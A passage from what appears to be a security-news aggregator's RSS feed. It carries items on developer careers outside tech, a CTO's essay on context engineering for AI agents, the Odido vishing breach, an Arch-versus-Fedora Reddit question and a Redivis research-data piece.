<p>“The demand for developers in non-tech sectors is real and growing, but the roles look different from what you’d find at a software company,” says <a href="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/" data-type="link" data-id="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/">Pragati Awasthi</a>, assistant teaching professor of AI and data science at Drexel University.</p>



<p>“Across all these sectors, the common thread is that software is no longer a support function; it is embedded in core operations,” Awasthi says. “The developer in these environments is often the person translating domain-specific business problems into technical solutions, which requires a different profile than a pure product engineer at a tech firm.”</p>



<h2 class="wp-block-heading">Opportunity knocks</h2>



<p>The tech industry has long been a mainstay as far as employing software developers. But as these businesses trim staffs in efforts to cut expenses, that has impacted the hiring landscape. Even as the tech sector scales back, however, companies in industries such as financial services/fintech, healthcare/healthtech, retail/ecommerce, and manufacturing are looking to acquire programming talent.</p>



<p>“The unifying factor is data complexity,” Awasthi says. “These industries generate large volumes of sensitive, regulated, or operationally critical data, and they need developers who can build and maintain systems that handle it responsibly.”</p>



<p>While recruiting firm Summit Search Group has placed developers in roles with technology companies, “it is just as common to recruit them for roles outside this niche,” says <a href="https://www.linkedin.com/in/matterhard/" data-type="link" data-id="https://www.linkedin.com/in/matterhard/">Matt Erhard</a>, managing partner at the company. “There are actually a fairly wide variety of roles available for developers in industries beyond tech,” Erhard says.</p>



<p>For example, in financial services Summit Search Group has seen significant hiring for back-end and data engineers who can build and maintain fraud detection systems, digital banking platforms, and regulatory tools, Erhard says. In healthcare, companies are hiring developers to build AI-driven diagnostics platforms and patient portals, or to work with systems that manage electronic health records, he says.</p>



<p>In manufacturing and industrial companies, developers are needed for systems integration and embedded software related to predictive maintenance, <a href="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html" data-type="link" data-id="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html">Internet of Things</a> (IoT) systems, and smart factories. And in retail and ecommerce, there’s strong demand for <a href="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html" data-type="link" data-id="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html">full-stack developers</a> and data developers who can handle logistics systems, omni-channel platforms, and personalization engines, Erhard says.</p>



<p>“One significant function where we’ve been placing developer talent lately is in developing business systems and internal applications,” Erhard says. These roles often have titles such as systems engineer or application developer, and professionals are hired to handle tasks such as customizing customer relationship management (CRM) or enterprise resource planning (ERP) platforms, building workflow automation tools or modernizing legacy systems, he says.</p>



<p>Other core functions for which Summit Search Group has placed a lot of developers include data, analytics, and AI-enablement. “That could be directly involved with <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">data engineering</a> or in building tools like reporting systems and <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">ETL [extract, transform, load]</a> pipelines,” Erhard says.</p>



<p>The firm also has handled searches for developers who can build and maintain customer-facing products for banking, healthcare, and retail companies, such as mobile apps or digital platforms customers can use to interact with companies.</p>



<p>Randstad Digital, a provider of global technology talent, sees demand for roles including web developers, system developers, and app developers. “These professionals would work on anything from customer-facing platforms to internal tools,” says <a href="https://www.linkedin.com/in/mpmorris36/" data-type="link" data-id="https://www.linkedin.com/in/mpmorris36/">Michael Morris</a>, global head of platform and talent at the company. “Non-tech companies are also often hiring roles like software architecture and <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> to help scale existing technology. These involve being more ingrained in the business, like building a supply chain system for a retailer, rather than creating individual tech products like you would at a technology company.”</p>



<h2 class="wp-block-heading">Prep for success</h2>



<p>To increases the chances of success at landing developer jobs outside of the tech industry, development professionals would be wise to follow some good practices.</p>



<h3 class="wp-block-heading">Boost AI skills</h3>



<p>One best practice is to boost skills in using AI-powered tools and get familiar with all things AI.</p>



<p>“Get fluent with AI-assisted development and its limits,” Awasthi says. “This is not optional. Organizations across every sector expect developers to use AI coding tools productively. But the more durable skill is knowing when AI output is wrong, incomplete, or unsuitable for a regulated context. That critical evaluation capacity is what non-tech employers are increasingly trying to hire.”</p>



<p>AI does not necessarily replace the need for human developers so much as it changes the skills profile for those roles, Erhard says. “The biggest difference in recent years is that AI literacy is now a non-negotiable,” he says. “At minimum, developers today need to understand concepts like <a href="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html" data-type="link" data-id="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html">prompt engineering</a> and how to use AI tools to improve their efficiency.”</p>



<p>One thing many job candidates don’t expect is that the rise of AI has also increased the importance of high-level skills such as problem framing, system design, and cross-functional communication,” Erhard says. “Essentially, if something is related to development but too complex or nuanced for an AI to handle effectively, then the demand is high for human developers who have that expertise,” he says.</p>



<p>Candidates who land roles consistently have experience building AI-augmented workflows along with standard coding skills, Erhard says. “Employers increasingly expect to hire developers who can leverage AI, so demonstrating this experience on your résumé can be very beneficial,” he says.</p>



<h3 class="wp-block-heading">Gain domain knowledge</h3>



<p>Summit Search Group is seeing high demand for developers with deep domain knowledge in an organization’s specific industry. “So, for instance, if someone is both an experienced developer and has expertise in healthcare compliance, or financial regulations, then those candidates tend to be very sought after,” Erhard says.</p>



<p>Domain fluency is an underrated skill, Awasthi says. “A developer who understands healthcare compliance, financial regulation, or manufacturing process logic is significantly harder to replace than one who only writes clean code,” she says. “AI can generate boilerplate. It cannot navigate a HIPAA audit or explain a model’s output to a compliance officer.”</p>



<p>Development professionals should “pick an industry and learn it seriously; not just the technology stack but the regulatory environment, the business model, and the actual problems practitioners face,” Awasthi says. “A developer who has read about HIPAA, or spent time understanding credit risk, is immediately more valuable in those hiring contexts.”</p>



<p>It’s also vital to demonstrate real-world, practical application of skills, not just credentials. “The strongest candidates have projects in their portfolio that directly tie to and solve real business problems,” Erhard says.</p>



<h3 class="wp-block-heading">Acquire soft skills</h3>



<p>And then there are the soft skills that are becoming more of a differentiator than they were in the past. As AI handles more routine coding, human developers are expected to make more architectural decisions and collaborate across departments, Erhard says. “Strong communication and problem-solving skills are critical for many of the developer roles that we’re filling today,” he says.</p>



<p>While technical skills are still relevant for developers using and managing AI tools, “they also need to develop the skill of ‘deeper thinking’ and learn how to think one step ahead,” Morris says. “This includes skills like system design mastery—understanding the macro view and learning how <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>, databases, and third-party APIs interact securely and efficiently.”</p>



<p>They also should become deeply fluent in the AI coding tools commonly used in their particular industry, with a strong understanding of how to prompt them for optimal output, Morris says. Product context awareness is also useful. “AI doesn’t know what the customer wants, but you do,” Morris says. “Understanding the business problem and the end-user experience is a requirement for being able to guide LLMs.”</p>



<h3 class="wp-block-heading">Master debugging and incident response</h3>



<p>Developers looking to break into non-tech sectors also should develop skills in debugging and incident response, Morris says. “Complex systems with multiple AI agents can, and will, fail, which means companies need humans to trace logic flaws to get the system back on track,” he says. “A mastery of root-cause analysis is a critical skill.”</p>



<p>“Security, compliance, and reliability are very important in non-tech industries like finance and healthcare,” says <a href="https://www.linkedin.com/in/rohit-agarwal/" data-type="link" data-id="https://www.linkedin.com/in/rohit-agarwal/">Rohit Agarwal</a>, co-founder of Zenius, a remote hiring company. “So employers want developers who also know regulatory environments well.”</p>



<h3 class="wp-block-heading">Network and keep learning</h3>



<p>To successfully pivot from jobs at tech companies, “continuous learning, upskilling, and building hybrid skills that combine technical and business knowledge are essential,” Morris says. “With the right preparation, tech professionals can adapt and continue to thrive in meaningful, dynamic careers.”</p>



<p>It’s also a good idea to join talent communities in fields of interest and “engage with other members in conversations that increase your knowledge through the collective intelligence of the community,” Morris says. “Take advantage of AI skilling opportunities relevant for your role, or better yet, where you want to go next. Experiment with the technology either on your own or through structured programs.” Ultimately, be curious and proactive, he says.</p>



<p>“I’d also recommend developers not to ignore referrals, direct outreach, and industry-specific communities during job search,” Agarwal says. “There are often a lot more opportunities available than the ones posted online.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI needs contextual intelligence — not just bigger models]]></title>
<description><![CDATA[A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.



One team had a wildly disproportionate share of ti...]]></description>
<link>https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/</guid>
<pubDate>Mon, 13 Jul 2026 11:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.</p>



<p>One team had a wildly disproportionate share of tickets — about 50% of their sprint time was spent on “bugs,” versus roughly 25% for everyone else. The headline number suggested a quality problem.</p>



<p>It wasn’t. When we layered in the context around those tickets, almost none of them were bugs. They were manual workarounds for a missing product capability: customers asking us, one request at a time, to restore items they had accidentally deleted. Not shipping an item restore feature was burning roughly 1.5 engineers’ worth of capacity. I went back to our product team and said, “Build this, and you reclaim a person and a half.”</p>



<p>The analysis took 45 minutes. It was only possible because our data was already organized, tagged by team, connected to contributors, accessible through MCP and protected by role-based access. None of that is “AI.” All of it is the layer underneath AI that almost nobody invests in first. That’s probably because the investment is unglamorous: updating data dictionaries, access controls, team taxonomies, system-to-system mappings. Most of the work has been the same for twenty years. AI just raised the cost of skipping it.<br></p>



<h2 class="wp-block-heading">The intelligence underneath the models</h2>



<p>I keep coming back to the value of context data layers as a CTO in the middle of an AI rollout. I have started calling that value proposition contextual intelligence because I haven’t found a better name. Anthropic’s engineering team has been calling this kind of work “<a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow">context engineering</a>” since late 2025, and <em>CIO</em><a href="https://www.cio.com/article/4080592/context-engineering-improving-ai-by-moving-beyond-the-prompt.html"> ran its own feature on the term</a> shortly after. Whether you describe it as contextual intelligence or context engineering, it’s the part of the stack where the actual programming work still lives.</p>



<p>If business logic is your company’s official org chart, then contextual intelligence is knowing who actually gets things done, how decisions are actually made and what the unwritten rules are. One is theory. The other is reality.</p>



<p>Most enterprise systems capture the theory. The systems that capture how work actually happens — what people do, how teams operate, where decisions get stuck — are rarer and harder to build. And modern LLMs, it turns out, are useless without both.</p>



<p>I learned this the hard way at a recent company hackathon. Nine engineering teams, one prompt: make our operational dataset more usable through AI. My team built persona-based chatbots (CFO, CIO, sales manager) on top of an MCP server backed by Postgres and our enrichment data. Other teams built dashboard generators, Looker conversational analytics and workflow agents.</p>



<p>The initial demos all had the same problem. Claude could talk to our data, but the answers were either generic or confidently wrong. The CFO persona would happily report a “spend trend” that quietly conflated two distinct cost categories across two different tables. The CIO persona would answer questions about team productivity, but the averages across roles should never have been aggregated. The sales manager persona returned answers that were technically correct against the schema and completely wrong against the business. The raw data was rich. The context layer around it didn’t exist yet. Chatting with raw data is not an AI product. It’s a demo.</p>



<p>One of my senior engineers spent the second day ripping out the agent’s direct database connection. He stopped trying to prompt-engineer the LLM to understand our business and instead codified that logic into the data pipeline. Working backward from the failed CFO answers, he mapped out the implicit knowledge an experienced controller relies on: Explicitly defining which legacy tables actually represent ‘spend,’ writing the rules for currency normalization and hardcoding our fiscal time windows. He built a series of semantic SQL views to enforce these rules and restricted the MCP server to exposing only this curated layer. When we pointed the same model at those same questions, it returned completely different answers. They were specific, evidence-based and grounded in our actual business reality. The model didn’t get smarter. The engineering beneath it did.</p>



<h2 class="wp-block-heading">The same pattern shows up everywhere I look right now</h2>



<p><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/one-year-of-agentic-ai-six-lessons-from-the-people-doing-the-work" rel="nofollow">McKinsey</a> keeps publishing that software development tops enterprise AI use cases, with companies reporting 30–50% productivity gains in pilots. The pilot numbers are real. They rarely translate to top- or bottom-line impact in production. Our own company data tells the same story: Between Q1 2025 and Q1 2026, our total AI tool usage grew by 328% (over 4x). Over that same period, PR throughput grew by just 49%.</p>



<p>That gap — adoption way up, outcomes inching along — is the context gap. Plug a generic agent into raw, uninterpreted data, and it will act inefficiently at best, harmfully at worst. An agent optimizing sales without your customer segmentation or product hierarchy will confidently recommend the wrong thing. Anthropic<a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow"> </a><a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow">framed the shift directly</a>: building with language models is becoming “less about finding the right words and phrases for your prompts, and more about answering the broader question of what context configuration is most likely to generate our model’s desired behavior.” That second question — what context configuration  — is the entire game. Most organizations are still answering the first one.</p>



<h2 class="wp-block-heading">Where the work actually lives</h2>



<p>A growing number of CTOs I talk to are shifting their AI investments accordingly. Less attention on the model. More on the layer between the model and the data.</p>



<p>When peers ask me what that actually looks like day-to-day, I tell them I give every engineering role the same mandate: the LLM should never see raw, uncontextualized data.</p>



<p>In practice, that breaks down to three pieces of work, none of them glamorous.</p>



<p>The first is semantic middleware. We need code that transforms raw data into business-meaningful signals before it ever reaches the model. Our feature stores hold things like “employee code velocity on critical-path features,” not “X logged 50 Git commits.” The work of figuring out what “critical-path” means in our product, in our org, on this team is the work. It does not get cheaper because the model has gotten better.</p>



<p>The second is multi-agent design. Instead of one omniscient orchestrator, we run smaller agents scoped to specific domains, each with rules that catch the failure modes the main model is known for. We pair them with RAG that retrieves precomputed insights, with their rules attached, rather than raw documents. Validation checkpoints sit between steps and flag suggestions that violate known constraints, such as averaging productivity across completely different job functions. The guardrails are not there to be clever. They are there because we already watched the model make those exact mistakes.</p>



<p>The third is evaluation that takes business logic seriously. When I look at a model, general benchmark accuracy is the least interesting number. I want to know whether it respects our constraints and integrates cleanly with our existing architecture. That sometimes means fine-tuning our patterns, sometimes constitutional approaches to embed principles, sometimes hybrid systems where deterministic rules sit alongside the probabilistic ones. The throughline is the same: validate against reality, not against the benchmark.</p>



<h2 class="wp-block-heading">Why this matters now</h2>



<p>The reason this matters more now than it did six months ago is that adoption is moving faster than measurement, let alone integration. Model Evaluation &amp; Threat Research’s (<a href="https://metr.org/" rel="nofollow">METR</a>) developer productivity work tells the story in a way they didn’t intend. In early 2025, they<a href="https://arxiv.org/pdf/2507.09089" rel="nofollow"> ran a controlled study</a> and found AI tools slowed experienced open-source developers by 19%. When they tried to<a href="https://metr.org/blog/2026-02-24-uplift-update/" rel="nofollow"> repeat the study in late 2025</a>, the experiment broke. Thirty to fifty percent of developers refused to submit tasks under the no-AI condition. They wouldn’t accept working without their tools. METR is now redesigning the study because the original methodology no longer holds up against how developers actually work. That’s how fast adoption moved. But I’d be willing to bet the organizational scaffolding required to convert that adoption into outcomes — context layers, workflow redesign, retraining around new tools — moved nowhere near as fast.</p>



<h2 class="wp-block-heading">Get ahead with context </h2>



<p>The teams I’ve seen succeed with AI built the context layer first. The teams I’ve seen struggle eventually built in context anyway, just at higher cost and with more scar tissue. Raw data is the new currency. But raw data without a context layer is cash sitting in a vault. It cannot act on anything. The difference between insight and noise is a layer of code that understands what your data means.</p>



<p>That layer is the work. It is where the next decade of competitive advantage will sit. And in my experience, the organizations that build it first are the ones that will actually get the productivity gains the rest of the market keeps promising.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vishing Call Becomes Key Lead in Massive Odido Cyberattack]]></title>
<description><![CDATA[The investigation into the Odido cyberattack has uncovered possible involvement of Dutch nationals, according to Dutch police, as authorities continue to investigate the ShinyHunters ransomware-linked attack that exposed the personal data of approximately 6.39 million customers. Law enforcement h...]]></description>
<link>https://tsecurity.de/de/3664411/it-security-nachrichten/vishing-call-becomes-key-lead-in-massive-odido-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664411/it-security-nachrichten/vishing-call-becomes-key-lead-in-massive-odido-cyberattack/</guid>
<pubDate>Mon, 13 Jul 2026 08:37:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Odido cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Odido-cyberattack-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Vishing Call Becomes Key Lead in Massive Odido Cyberattack 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="371" data-end="836">The investigation into the Odido cyberattack has uncovered possible involvement of Dutch nationals, according to Dutch police, as authorities continue to investigate the <a href="https://thecyberexpress.com/7-eleven-data-breach-exposes-information/" target="_blank" rel="noopener">ShinyHunters </a>ransomware-linked attack that exposed the personal data of approximately 6.39 million customers. Law enforcement has urged the public to come forward with information as investigators work to identify those responsible for one of the country's largest telecom data breaches.</p>
<p data-start="838" data-end="1313">The cyberattack took place on February 5 and 6 after attackers allegedly used <a href="https://thecyberexpress.com/planning-and-zoning-permit-phishing-scam/" target="_blank" rel="noopener">voice phishing</a> (vishing) to deceive Odido's customer service team.</p>
<p data-start="838" data-end="1313">According to the company, the attackers posed as members of its internal IT staff, gaining unauthorized access before exfiltrating customer <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28940">data</a>. Odido said its teams detected the unauthorized access immediately on both occasions and revoked the attackers' access, but the incident still resulted in a large-scale <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="28941">data breach</a>.</p>

<h3 data-section-id="bnvj72" data-start="1315" data-end="1379"><strong><span role="text">Odido Cyberattack Investigation Finds Possible Dutch Link</span></strong></h3>
<p data-start="1381" data-end="1581">Under the direction of the National Public Prosecution Service, the High Tech <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Crime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28939">Crime</a> Team (THTC) of the National Investigation and Intervention Unit launched an extensive investigation into the breach.</p>
<p data-start="1583" data-end="2006">Authorities <a href="https://www.politie.nl/nieuws/2026/juli/8/onderzoek-naar-hack-odido-wijst-op-mogelijke-betrokkenheid-nederlanders.html" target="_blank" rel="nofollow noopener">said</a> investigators have found strong indications that Dutch criminals may have been involved. One key lead centers on a phone call made shortly before the breach in which a Dutch-speaking man allegedly impersonated an Odido IT employee while speaking with customer service representatives. Police are continuing efforts to identify the caller and have indicated that his voice could be made public if necessary.</p>
<p data-start="2008" data-end="2184">Investigators believe people within <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/" target="_blank" rel="noopener" title="cybercrime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28936">cybercrime</a> circles may have information about those responsible and are encouraging anyone with relevant details to contact law enforcement.</p>

<h3 data-section-id="97lt1j" data-start="2186" data-end="2227"><strong><span role="text">ShinyHunters Named as Threat Actor</span></strong></h3>
<p data-start="2229" data-end="2383">Odido attributed the attack to the cybercriminal group ShinyHunters, which the company said carried out the <a href="https://thecyberexpress.com/how-to-avoid-social-engineering-attacks/" target="_blank" rel="noopener">social engineering</a> campaign.</p>
<p data-start="2385" data-end="2744">Chief Executive Officer Søren Abildgaard acknowledged the incident in a public statement, apologizing to customers and outlining the company's commitment to strengthening its <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28937">cybersecurity</a> capabilities. He said Odido would continue investing in security, improve data protection practices, expand customer support, and share lessons learned from the incident.</p>
<p data-start="2746" data-end="3100">The CEO also explained <a href="https://www.odido.nl/veiligheid-eng" target="_blank" rel="nofollow noopener">why the company refused to pay the ransom</a> demand. According to Odido, paying cybercriminals would reward illegal activity and could encourage future attacks against other Dutch organizations. The company said the decision was made following guidance from authorities, despite knowing that stolen data could eventually be published.</p>

<h3 data-section-id="yaccxz" data-start="3102" data-end="3135"><strong>Millions of Customers Impacted</strong></h3>
<p data-start="3137" data-end="3307">Odido confirmed that approximately 6.39 million active and former customers of Odido and its Ben brand were affected by the breach. Customers of Simpel were not impacted.</p>
<p data-start="3309" data-end="3520">The exposed information varied by individual and included names, addresses, mobile phone numbers, customer numbers, email addresses, IBAN numbers, dates of birth, identification details, nationality, and gender.</p>
<p data-start="3522" data-end="3684">The company clarified that My Odido account passwords, call records, location data, billing information, and scans of identity documents were not compromised.</p>
<p data-start="3686" data-end="4081">Odido also addressed reports claiming customer passwords had been leaked, stating that login <a href="https://thecyberexpress.com/steps-to-create-unbreakable-passwords/" target="_blank" rel="noopener">passwords</a> remain securely encrypted and were never accessible during the attack. Instead, a separate telephone verification field known as "password_c," used as a customer challenge code, was included for a limited number of customers. The company has since discontinued using that verification method.</p>

<h3 data-section-id="ecu6ov" data-start="4083" data-end="4133"><strong>Customer Support and Security Measures Expanded</strong></h3>
<p data-start="4135" data-end="4487">Following the breach, Odido increased customer support by adding more than 140 service agents and introduced additional security measures. These include its "Check je Gesprek" verification service, allowing customers to confirm whether communications claiming to be from Odido are legitimate, along with access to the F-Secure digital security service.</p>
<p data-start="4489" data-end="4697">The telecom provider said all customers identified as affected have been notified by email or SMS, while customer service teams continue assisting users with questions related to their specific data exposure.</p>
<p data-start="4699" data-end="5075">Meanwhile, Dutch authorities expect investigations into the Odido <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="28935">cyberattack</a> to continue for several months. Police have also warned that cyberattacks targeting businesses and institutions are becoming increasingly common, urging organizations to strengthen cybersecurity defenses and encouraging citizens to remain vigilant against follow-on <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="28938">fraud</a> and phishing attempts.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Does anyone actually daily drive Arch Linux for serious, professional programming? Looking for reassurance before jumping to Fedora]]></title>
<description><![CDATA[Hey everyone, I’ve been completely stuck in this distro crisis for a week now, and I need some perspective. I’ve used Arch for years. Almost zero issues. Honestly, I felt immortal. But over the past month, I’ve started caring a lot more about the concept of stability. It’s true that Arch never ac...]]></description>
<link>https://tsecurity.de/de/3663335/linux-tipps/does-anyone-actually-daily-drive-arch-linux-for-serious-professional-programming-looking-for-reassurance-before-jumping-to-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663335/linux-tipps/does-anyone-actually-daily-drive-arch-linux-for-serious-professional-programming-looking-for-reassurance-before-jumping-to-fedora/</guid>
<pubDate>Sun, 12 Jul 2026 15:24:40 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey everyone,<br> I’ve been completely stuck in this distro crisis for a week now, and I need some perspective.<br> I’ve used Arch for years. Almost zero issues. Honestly, I felt immortal. But over the past month, I’ve started caring a lot more about the concept of stability. It’s true that Arch never actually broke on me, but I’ve always had to stay hyper-vigilant—checking dependencies, making sure specific packages didn't have known bugs, and never having a 100% guarantee that a system update wouldn’t break my environment.<br> I’m starting to realize that what I need isn’t necessarily a "more stable" system, but a more <em>reassuring</em> one. Knowing that if I don’t update Arch for 3 months (unlikely, but that was my Windows workflow), I might face massive breakage, just doesn't give me peace of mind anymore. That’s why I’ve been thinking about Fedora: major updates every 6 months, and I can just chill in between.<br> The catch is... I’ve taken care of my Arch install like it was my own child. Making this sudden jump terrifies me.<br> I’d love to know: is anyone here actually using Arch as their main daily driver for serious, professional programming work and studying? If so, have you run into any major issues? How do you maintain your system? Can Btrfs with snapshots <em>really</em> save you from a bad update? Is keeping a separate ⁠/home⁠ partition and just reinstalling Arch on ⁠/⁠ during an emergency actually reliable? And finally, how often do you update?<br> What do you guys think?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/margyyy_314"> /u/margyyy_314 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uuf0nz/does_anyone_actually_daily_drive_arch_linux_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uuf0nz/does_anyone_actually_daily_drive_arch_linux_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure-Attacke: 81 Millionen Anmeldeversuche in zwei Wochen - Börse Express]]></title>
<description><![CDATA[Eine Serie gezielter Hackerangriffe und Identitätstäuschungen hat in den letzten Tagen öffentliche Amtsträger, Medienpersönlichkeiten und ...]]></description>
<link>https://tsecurity.de/de/3663314/hacking/azure-attacke-81-millionen-anmeldeversuche-in-zwei-wochen-boerse-express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663314/hacking/azure-attacke-81-millionen-anmeldeversuche-in-zwei-wochen-boerse-express/</guid>
<pubDate>Sun, 12 Jul 2026 15:05:28 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine Serie gezielter Hackerangriffe und Identitätstäuschungen hat in den letzten Tagen öffentliche Amtsträger, Medienpersönlichkeiten und ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Redivis makes research data accessible, experiences collaborative with BigQuery]]></title>
<description><![CDATA[Understanding the data we collect is essential—it allows us to identify trends and uncover answers about our world. However, stories in our data frequently go untold. Large datasets are hard to share between research communities due to their size, security restraints, and complexity. Even if thes...]]></description>
<link>https://tsecurity.de/de/3662842/it-security-nachrichten/redivis-makes-research-data-accessible-experiences-collaborative-with-bigquery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662842/it-security-nachrichten/redivis-makes-research-data-accessible-experiences-collaborative-with-bigquery/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Understanding the data we collect is essential—it allows us to identify trends and uncover answers about our world. However, stories in our data frequently go untold. Large datasets are hard to share between research communities due to their size, security restraints, and complexity. Even if these datasets are accessible to users, the tools needed to query them often require deep technical knowledge. This is why <a href="https://redivis.com/?anthem_video" target="_blank">Redivis partnered with Google Cloud</a> to help make research data from higher education institutions easier to analyze and more accessible. </p><p>Redivis’s mission is to create a frictionless “data commons”—a place where researchers can discover, request access to, and query large datasets to support their studies. To make this goal possible, Redivis began to rethink the traditional data-distribution process.</p><h3>Challenges to making data more accessible</h3><p>When Redivis first started, their team interviewed dozens of researchers to understand their biggest problems. Most researchers expressed how difficult it is to find new datasets, and how many steps it takes to access and work with the data—often before knowing if the information the dataset contains is even useful for their study. Additionally, data administrators want their datasets to be utilized but are often concerned about data security.</p><p>Storing large amounts of sensitive data requires the right set of security controls. To help keep their data secure, Redivis developed a transparent, tiered access system for datasets. Researchers can request separate access to a dataset’s documentation, variables, sample, and full data, which allows them to assess the usability of the dataset without filing access applications. Moreover, administrators can set rules for how researchers use and combine different datasets depending on their level of access. </p><p>Redivis built their platform on top of <a href="https://cloud.google.com/security">Google Cloud’s security infrastructure</a>, which allows the company to encrypt data, manage security keys, and helps secure datasets with the operational and physical security layers available. Combined with detailed audit logs (supported by Google Cloud Logging) and robust application-level security controls, Redivis is able to provide data owners with the peace of mind that their data is only being accessed and used as they’ve allowed.</p><h3>Sharing data to build more compelling stories</h3><p>When we join multiple sources of data, we can uncover a more complete story, such as in the case of examining environmental conditions. By combining data about historic fires, air quality data, and population health outcomes, researchers are able to offer policy guidance to protect the most at-risk populations. However, if the datasets stayed separate, we would 